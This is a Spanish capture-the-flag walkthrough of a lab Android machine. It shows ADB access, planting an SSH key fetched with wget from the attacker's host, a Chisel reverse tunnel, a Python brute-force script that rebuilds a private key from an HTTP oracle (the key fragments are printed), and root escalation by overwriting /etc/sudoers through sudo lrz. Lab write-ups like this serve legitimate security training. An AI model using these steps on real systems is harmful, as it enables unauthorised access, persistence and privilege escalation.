Acceso inicial mediante ADB
Enumeramos puertos (sistema Android con ADB):
❯ nmap -sCV -p 22,5555 -oN 02-targeted.txt 192.168.1.14
...
22/tcp open ssh OpenSSH 9.9 (protocol 2.0)
5555/tcp open adb Android Debug Bridge (token auth required)
Service Info: OS: Android; ...ADB acepta la conexión y entrega una shell como runner, pero la sesión expira. Para disponer de un acceso estable, generamos una clave SSH sin passphrase en nuestra máquina y descargamos su authorized_keys desde la shell temporal. La clave privada permanece en el equipo atacante y permite iniciar sesión por SSH:
❯ adb connect 192.168.1.14
❯ adb shell
/ $
~/.ssh $ wget http://192.168.1.5:8000/authorized_keys
❯ ssh runner@192.168.1.14 -i id_rsa
fuzzz:~$Acceso al servicio web local
El puerto 80 sólo escucha en 127.0.0.1 de la víctima, por lo que no podemos consultarlo directamente desde nuestra red. El reverse port forwarding de Chisel publica ese servicio como 127.0.0.1:8001 en nuestra máquina:
❯ ./chisel server -p 5000 --reverse
fuzzz:~$ ./chisel client 192.168.1.5:5000 R:8001:127.0.0.1:80Reconstrucción de la clave SSH
La enumeración descubre /line1 hasta /line5. Cada ruta funciona como un oráculo: si el prefijo enviado coincide con el inicio del fragmento esperado, responde con HTTP 200. El script prueba un carácter, conserva únicamente el que produce esa respuesta y repite el proceso desde el prefijo ampliado. Cuando ninguna opción es válida, pasa a la siguiente línea:
// renderizando diagrama…
El siguiente script automatiza esa reconstrucción:
❯ cat brute_2.py
import requests
import string
from concurrent.futures import ThreadPoolExecutor, as_completed
from pwn import log
def brute_force_dir(base_url, max_workers=50):
charset = ''.join(c for c in string.printable if c not in '#?.')
for i in range(1, 6):
path = ""
line_url = f"{base_url}{i}/"
bar = log.progress(f"[line{i}] Brute-forcing path")
while True:
found = None
with ThreadPoolExecutor(max_workers=max_workers) as executor:
futures = {
executor.submit(requests.get, f"{line_url}{path + c}", timeout=3): c
for c in charset
}
for future in as_completed(futures):
c = futures[future]
try:
r = future.result()
if r.status_code == 200:
found = c
path += c
bar.status(f"{path}")
break
except:
continue
if not found:
break
bar.success(f"Found path: {line_url}{path}")
if __name__ == "__main__":
brute_force_dir("http://127.0.0.1:8001/line")❯ python brute_2.py
[+] [line1] Brute-forcing path: Found path: http://127.0.0.1:8001/line1/b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
[+] [line2] Brute-forcing path: Found path: http://127.0.0.1:8001/line2/QyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgwAAAJDS3+5f0t/u
[+] [line3] Brute-forcing path: Found path: http://127.0.0.1:8001/line3/XwAAAAtzc2gtZWQyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgw
[+] [line4] Brute-forcing path: Found path: http://127.0.0.1:8001/line4/AAAEBCjeRitoZJIm1c4i0VD2Muw5nqgb7zC13vMaxS/la+vSucQUWuMMjqti3kaZQPEy9J
[+] [line5] Brute-forcing path: Found path: http://127.0.0.1:8001/line5/5felyfQYYF+CjURC1emDAAAACWFzYWhpQHBoaQECAwQ=Los cinco fragmentos, concatenados en orden, forman el contenido Base64 de una clave OpenSSH. Después de restaurar sus delimitadores, la clave permite autenticarnos como asahi:
❯ ssh asahi@192.168.1.14 -i id_rsa_asahi
fuzzz:~$Escalada de privilegios mediante lrz
Después de obtener la primera flag, revisamos sudo -l:
fuzzz:~$ sudo -l
...
User asahi may run the following commands on fuzzz:
(ALL) NOPASSWD: /usr/local/bin/lrzlrz recibe archivos y los guarda en el directorio de trabajo. Como sudo lo ejecuta con privilegios y podemos iniciarlo desde /etc, obtenemos una Arbitrary File Write dentro de ese directorio. Enviamos un archivo llamado sudoers que añade una regla sin contraseña para asahi; la nueva autorización permite abrir un shell como root:
fuzzz:~$ cd /etc
fuzzz:/etc$ sudo /usr/local/bin/lrz --tcp-server
connect with lrz --tcp-client "fuzzz.hmv:33291"
❯ cat sudoers
asahi ALL=(ALL:ALL) NOPASSWD: ALL
❯ lrzsz-sz --tcp-client 192.168.1.14:33291 --append sudoers
fuzzz:/etc$ sudo su
/etc # whoami
rootLa salida de whoami confirma la escalada a root.
Fin.